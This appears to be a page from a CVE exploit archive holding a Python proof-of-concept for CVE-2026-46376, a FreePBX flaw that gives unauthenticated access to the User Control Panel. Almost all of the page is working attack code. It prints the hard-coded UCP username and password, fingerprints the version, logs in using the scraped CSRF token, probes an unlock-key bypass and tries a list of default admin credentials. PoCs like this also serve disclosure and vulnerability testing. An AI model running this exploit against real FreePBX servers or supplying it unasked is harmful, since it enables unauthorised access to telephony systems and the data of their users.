5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
"""
CVE-2026-46376 - FreePBX Unauthenticated UCP Access via Hard-Coded Credentials

Hard-coded credentials in FreePBX userman module UCP generic template setup allow
unauthenticated attackers to access the User Control Panel (UCP).

CVSS: 9.1 (Critical)
CWE: 798 (Use of Hard-Coded Credentials)
Affected: FreePBX 15.0.42+, userman <= 16.0.44 (FreePBX 16), userman <= 17.0.6 (FreePBX 17)
Fixed in: userman 16.0.45, 17.0.7
"""

import argparse
import re
import sys
import warnings
from urllib.parse import urljoin

import requests

warnings.filterwarnings("ignore", message="Unverified HTTPS request")

USERNAME = "FreePBXUCPTemplateCreator"
PASSWORD = "1a2b3c@fd48jshs03123ld"
DEFAULT_ADMIN_CREDS = [
    ("admin", "admin"),
    ("admin", "password"),
    ("maint", "password"),
    ("ampuser", "amp109"),
]
AFFECTED_VERSIONS = [
    ("15", 42, None, "FreePBX 15.0.42+"),
    ("16", 0, 44, "userman <= 16.0.44"),
    ("17", 0, 6, "userman <= 17.0.6"),
]

GREEN = "\033[0;32m"
RED = "\033[0;31m"
YELLOW = "\033[1;33m"
CYAN = "\033[0;36m"
NC = "\033[0m"


def ok(msg):
    print(f"{GREEN}[+]{NC} {msg}")


def err(msg):
    print(f"{RED}[-]{NC} {msg}")


def warn(msg):
    print(f"{YELLOW}[!]{NC} {msg}")


def section(title):
    print(f"\n{CYAN}{'=' * 44}{NC}")
    print(f"{CYAN}  {title}{NC}")
    print(f"{CYAN}{'=' * 44}{NC}")


def version_in_range(version_str):
    try:
        parts = str(version_str).split(".")
        major, minor = parts[0], parts[1]
        patch = parts[2] if len(parts) > 2 else "0"
    except (IndexError, ValueError):
        return False

    for vmaj, vmin, vpatch, _ in AFFECTED_VERSIONS:
        if major == vmaj:
            if vpatch is None:
                if int(minor) >= vmin:
                    return True
            else:
                if int(minor) < vmin:
                    return True
                if int(minor) == vmin and int(patch) <= vpatch:
                    return True
    return False


def pre_flight(target: str, session: requests.Session) -> dict:
    """Run pre-flight checks to assess target readiness."""
    section("Pre-Flight Checks")
    info = {"reachable": False, "has_ucp": False, "version": None, "in_range": False}

    try:
        r = session.get(target, timeout=10, verify=False)
        info["reachable"] = True
        ok(f"Target is reachable (HTTP {r.status_code})")
    except requests.RequestException as e:
        err(f"Target is unreachable: {e}")
        return info

    try:
        r = session.get(urljoin(target, "/admin/config.php"), timeout=10, verify=False)
        m = re.search(r"FreePBX (\d+\.\d+\.\d+)", r.text)
        if m:
            info["version"] = m.group(1)
            ok(f"FreePBX version: {info['version']}")
            info["in_range"] = version_in_range(info["version"])
            if info["in_range"]:
                ok(f"Version {info['version']} is in the affected range")
            else:
                warn(f"Version {info['version']} may not be in the affected range")
    except requests.RequestException:
        warn("Could not access admin panel")

    try:
        r = session.get(urljoin(target, "/ucp/index.php"), timeout=10, verify=False)
        if "User Control Panel" in r.text:
            info["has_ucp"] = True
            ok("UCP interface is accessible")
    except requests.RequestException:
        warn("Could not access UCP")

    return info


def exploit_ucp_credentials(target: str, session: requests.Session, preflight: dict):
    """Attempt UCP login using the hard-coded credentials."""
    section("Method 1: Hard-Coded UCP Credentials")
    print(f"    Username: {USERNAME}")
    print(f"    Password: {PASSWORD}")

    try:
        r = session.get(urljoin(target, "/ucp/index.php"), timeout=10, verify=False)
        m = re.search(r'name="token" value="([^"]+)"', r.text)
        if not m:
            err("Could not extract CSRF token")
            return False
        token = m.group(1)
        ok(f"Got CSRF token: {token}")
    except requests.RequestException as e:
        err(f"Failed to fetch login page: {e}")
        return False

    try:
        r = session.post(
            urljoin(target, "/ucp/ajax.php"),
            data={
                "token": token,
                "username": USERNAME,
                "password": PASSWORD,
                "email": "",
                "module": "User",
                "command": "login",
            },
            headers={"X-Requested-With": "XMLHttpRequest"},
            timeout=10,
            verify=False,
        )
        try:
            data = r.json()
        except Exception:
            err("Login failed - AJAX endpoint returned non-JSON (wrong version or proxy interference)")
            return False

        if data.get("status") is True:
            ok(f"SUCCESS! Logged in as {USERNAME}")
            return True

        msg = data.get("message", "unknown error")
        err(f"Login failed - {msg}")
        return False
    except requests.RequestException as e:
        err(f"Login request failed: {e}")
        return False


def exploit_unlock_bypass(target: str, session: requests.Session):
    """Attempt UCP unlock key bypass via template query parameters."""
    section("Method 2: UCP Unlock Key Bypass")

    for tid in range(6):
        try:
            r = session.get(
                urljoin(target, f"/ucp/index.php?unlockkey=test&templateid={tid}"),
                timeout=10,
                verify=False,
            )
            # Authenticated UCP shows "logout" links and action buttons
            # while the login form is replaced by dashboard content
            if (
                "logout" in r.text.lower()
                and 'id="frm-login"' not in r.text
                and 'name="token"' not in r.text
                and ('class="main-block"' in r.text or 'data-section=' in r.text or 'widget' in r.text.lower())
            ):
                ok(f"SUCCESS! Unlock key bypass worked with templateid={tid}")
                return True
        except requests.RequestException:
            pass

    err("Unlock key bypass failed")
    return False


def exploit_admin_defaults(target: str, session: requests.Session):
    """Attempt admin panel login with common default credentials."""
    section("Method 3: Admin Panel Default Credentials")

    try:
        r = session.get(urljoin(target, "/admin/config.php"), timeout=10, verify=False)
        token_m = re.search(r'name="token" value="([^"]+)"', r.text)
        token = token_m.group(1) if token_m else ""
    except requests.RequestException:
        token = ""

    for user, pwd in DEFAULT_ADMIN_CREDS:
        try:
            data = {"username": user, "password": pwd}
            if token:
                data["token"] = token
            r = session.post(
                urljoin(target, "/admin/config.php"),
                data=data,
                timeout=10,
                verify=False,
            )
            if r.status_code == 401:
                continue
            body = r.text.lower()
            if "invalid username or password" in body:
                continue
            if "loginform" in body or 'id="loginform"' in body:
                continue
            if "freepbx administration" not in body and "freepbx" not in body:
                continue
            ok(f"SUCCESS! Admin login with {user}:{pwd}")
            return True
        except requests.RequestException:
            pass

    err("No default admin credentials worked")
    return False


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-46376 - FreePBX Unauthenticated UCP Access PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=(
            "Hard-coded credentials in FreePBX userman UCP generic template setup.\n"
            "Affects FreePBX 15.0.42+ and unpatched userman on FreePBX 16/17.\n\n"
            "Discovered by s0nnyWT, disclosed May 2026."
        ),
    )
    parser.add_argument("target", help="Target URL (e.g. http://192.168.1.100)")
    parser.add_argument(
        "--no-check", action="store_true", help="Skip version pre-flight check"
    )
    parser.add_argument(
        "--yes", "-y", action="store_true", help="Auto-continue even if version is out of range"
    )
    parser.add_argument("--timeout", type=int, default=15, help="Request timeout in seconds")
    parser.add_argument(
        "--method",
        choices=["creds", "unlock", "admin", "all"],
        default="all",
        help="Which exploit method to run (default: all)",
    )
    args = parser.parse_args()

    target = args.target.rstrip("/")
    session = requests.Session()

    print()
    print(f"{CYAN}{'=' * 44}{NC}")
    print(f"{CYAN}  CVE-2026-46376 PoC - FreePBX UCP Access{NC}")
    print(f"{CYAN}  Target: {target}{NC}")
    print(f"{CYAN}{'=' * 44}{NC}")

    preflight = pre_flight(target, session)

    if not preflight["reachable"]:
        sys.exit(1)

    if not args.no_check and preflight["version"] and not preflight["in_range"]:
        warn("Target version appears outside the affected range — exploitation unlikely")
        if not args.yes:
            confirm = input(f"{YELLOW}[?]{NC} Continue anyway? [y/N] ")
            if confirm.lower() != "y":
                print("Exiting.")
                sys.exit(0)

    section("Exploitation")

    results = {}

    if args.method in ("creds", "all"):
        results["creds"] = exploit_ucp_credentials(target, session, preflight)

    if args.method in ("unlock", "all"):
        results["unlock"] = exploit_unlock_bypass(target, session)

    if args.method in ("admin", "all"):
        results["admin"] = exploit_admin_defaults(target, session)

    section("Summary")

    if any(results.values()):
        print(f"{GREEN}Target is VULNERABLE{NC}")
    else:
        print(f"{RED}Target is NOT vulnerable (or version not in affected range){NC}")

    print(f"\n  {YELLOW}Username:{NC} {USERNAME}")
    print(f"  {YELLOW}Password:{NC} {PASSWORD}")
    print()
    print("  Affected versions:")
    for _, _, _, label in AFFECTED_VERSIONS:
        print(f"    - {label}")
    print("  Fixed in: userman 16.0.45, 17.0.7")


if __name__ == "__main__":
    main()